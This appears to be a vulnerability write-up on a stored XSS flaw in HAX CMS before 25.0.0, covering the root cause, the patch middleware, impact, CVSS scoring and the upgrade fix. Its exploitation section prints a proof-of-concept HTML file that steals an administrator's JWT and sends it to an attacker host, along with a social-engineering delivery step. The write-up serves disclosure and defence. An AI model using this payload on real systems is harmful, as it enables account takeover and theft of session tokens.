Feb 20, 2026·6 min read·5 visits
HAX CMS versions prior to 25.0.0 allow authenticated users to upload HTML files that are served from the primary origin. Attackers can upload a weaponized HTML file containing JavaScript to the `/files/` directory. When an administrator views this file, the script executes, queries the internal `/system/api/refreshAccessToken` endpoint, and exfiltrates the resulting JWT to the attacker, granting full administrative access.
A critical Stored Cross-Site Scripting (XSS) vulnerability in HAX CMS allows low-privileged users to upload malicious HTML files that execute in the context of the application's origin. This flaw specifically endangers administrative accounts by enabling the theft of JSON Web Tokens (JWTs) via internal API calls, leading to full account takeover.
HAX CMS (Headless Authoring Experience) prides itself on decoupling the frontend from the backend, giving creators freedom. Unfortunately, prior to version 25.0.0, it also gave that same freedom to attackers—specifically, the freedom to execute arbitrary JavaScript in the browser of any user who stumbled upon their uploaded content.
Here is the setup: You have a CMS built on Node.js. It uses JWTs (JSON Web Tokens) for authentication. It also has a file upload feature because, naturally, users need to upload images and documents. The problem arises when the application treats a user-uploaded .html file with the same level of trust as its own core system files. It serves them from the same origin, with no Content-Disposition headers to force a download.
This isn't just a nuisance popup alert bug. In the modern web stack, where Single Page Applications (SPAs) often rely on local storage or accessible APIs for session management, Stored XSS is the skeleton key. If I can run code in your origin, I am you. And in HAX CMS, being 'you' means stealing the keys to the kingdom.
The root cause here is a failure to segregate untrusted user content from the trusted application context. In web security, the 'Same-Origin Policy' is the castle wall. It prevents scripts from evil.com from reading data on bank.com. However, if the attacker can upload a file to bank.com/uploads/evil.html, that file is inside the castle walls.
In HAX CMS, the /files/ directory was serving content directly to the browser. If a user uploaded an image, the browser rendered an image. If a user uploaded an HTML file containing a <script> tag, the browser obediently executed that script. Because the script is running on haxcms-site.com, it bypasses all Cross-Origin Resource Sharing (CORS) restrictions.
The developers missed a critical security header: Content-Disposition: attachment. This header tells the browser, 'Do not render this. Just save it to disk.' Without it, the browser attempts to sniff and render the content type. By allowing .html uploads and serving them inline, the application effectively granted every uploader the ability to modify the application's runtime behavior for other users.
Let's look at the smoking gun. The vulnerability existed because the static file serving logic didn't differentiate between safe static assets (like CSS or JS required by the app) and user-uploaded content. There was simply no guardrail.
The fix, implemented in version 25.0.0 via commit 317a8ae29f88be389f7cfeffaef416957122d97e, introduces a middleware specifically designed to catch these requests before they hit the browser as renderable content.
Here is the patch logic introduced in src/app.js:
// Security: Force download of HTML files in sites' files directories to prevent XSS
app.use((req, res, next) => {
// 1. Check if the URL is requesting a file from the /files/ directory
// 2. Check if the file extension is .html or .htm (case insensitive)
if (req.url.includes('/files/') && /\.html?$/i.test(req.url.split('?')[0])) {
// 3. Force the browser to download the file instead of executing it
res.setHeader('Content-Disposition', 'attachment');
}
next();
});This code intercepts the request. If it sees .html or .htm inside the /files/ path, it slaps a Content-Disposition: attachment header on the response. It's a band-aid, but an effective one for the specific vector of HTML files. However, it relies heavily on regex matching the file extension, which is a fragile defense strategy if the server allows other dangerous types (like .svg or .xml) or suffers from MIME sniffing issues.
So, how do we weaponize this? We don't just want to pop an alert box; we want persistent access. The target is the refreshAccessToken endpoint, which issues new JWTs. Since the admin's browser automatically sends their cookies (including the refresh token) with requests to the origin, our script can query this endpoint on their behalf.
Phase 1: The Trap
First, we craft a file named report.html:
<!DOCTYPE html>
<html>
<body>
<h2>Loading system report...</h2>
<script>
fetch('/system/api/refreshAccessToken')
.then(response => response.json())
.then(data => {
// The JWT is likely inside data.jwt or similar structure
const token = data.jwt;
// Exfiltrate to attacker's server
navigator.sendBeacon('https://attacker.com/collect', token);
});
</script>
</body>
</html>Phase 2: The Delivery
We log in as a low-privileged user (or use an open registration if available) and upload report.html to the CMS file manager.
Phase 3: The Execution
We send the link https://target-cms.com/sites/mysite/files/report.html to the administrator, perhaps disguised as a broken link report or a generic support ticket. When they click it, the browser renders the HTML, executes the JavaScript, fetches a fresh admin JWT, and silently mails it to our collection server. We now have a valid session token and can interact with the API as the administrator.
The impact of this vulnerability is total system compromise. With the stolen JWT, the attacker bypasses the login screen entirely. They can manipulate content, delete sites, inject malicious JavaScript into the main site templates (affecting all visitors, not just admins), or pivot to the underlying server if the Node.js process has excessive permissions or other vulnerabilities.
Since HAX CMS is often used for educational or documentation sites, an attacker could deface content to spread disinformation or inject crypto-miners. The CVSS score of 8.1 reflects this high severity: High Confidentiality (stolen tokens), High Integrity (defacement/malicious uploads), and High Availability (deletion of sites).
The immediate fix is to upgrade to HAX CMS version 25.0.0. The middleware patch effectively neutralizes .html files in the /files/ directory.
However, a word of caution for the paranoid:
This fix is a 'blocklist' approach targeting specific extensions (.html, .htm). If the CMS allows the upload of SVG files (.svg), the vulnerability likely persists. SVGs are XML-based and can contain <script> tags that execute when opened directly in a browser. Unless the Content-Disposition header is applied to all user uploads or a strict 'allowlist' of safe MIME types is enforced, adventurous researchers might still find a way through.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
HAX CMS (Node.js) haxtheweb | >= 11.0.6, < 25.0.0 | 25.0.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 8.1 (High) |
| Impact | Account Takeover / JWT Theft |
| Exploit Status | PoC Available |
| Patch Commit | 317a8ae29f88be389f7cfeffaef416957122d97e |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')